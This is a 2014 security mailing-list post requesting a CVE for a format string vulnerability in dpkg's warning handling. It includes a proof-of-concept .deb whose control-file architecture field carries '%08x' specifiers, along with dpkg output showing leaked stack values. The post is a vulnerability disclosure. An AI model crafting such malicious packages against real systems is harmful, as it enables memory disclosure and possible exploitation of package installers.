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CVE-Request: dpkg handling of 'control' and warnings format string vulnerability


From: Joshua Rogers <oss () internot info>
Date: Thu, 06 Nov 2014 17:07:07 +1100

A format string vulnerability vuln has been found in the latest version
of dpkg.
https://bugs.launchpad.net/ubuntu/+source/dpkg/+bug/1389135

An example is: https://internot.info/docs/dpkg_fstring.deb

dpkg -i --dry-run
'/home/www/www.internot.info/htdocs/docs/dpkg_fstring.deb'
dpkg: warning: parsing file '/tmp/dpkg.heOSnC/control' near line 2
package 'backup:01f15700.00431828.00000001.00000001.0000001a':
 '%08x.%08x.%08x.%08x.%08x
Description: Stuff
maintainer: Joshua Rogers
version: 1
' is not a valid architecture name: escription: Stuff
maintainer: Joshua Rogers
version: 1


The vulnerable function, warningv([..]), is called in many other places,
and is not limited to '-i'.

Could I get a CVE-ID for this?

Thanks
-- 
-- Joshua Rogers <https://internot.info/>


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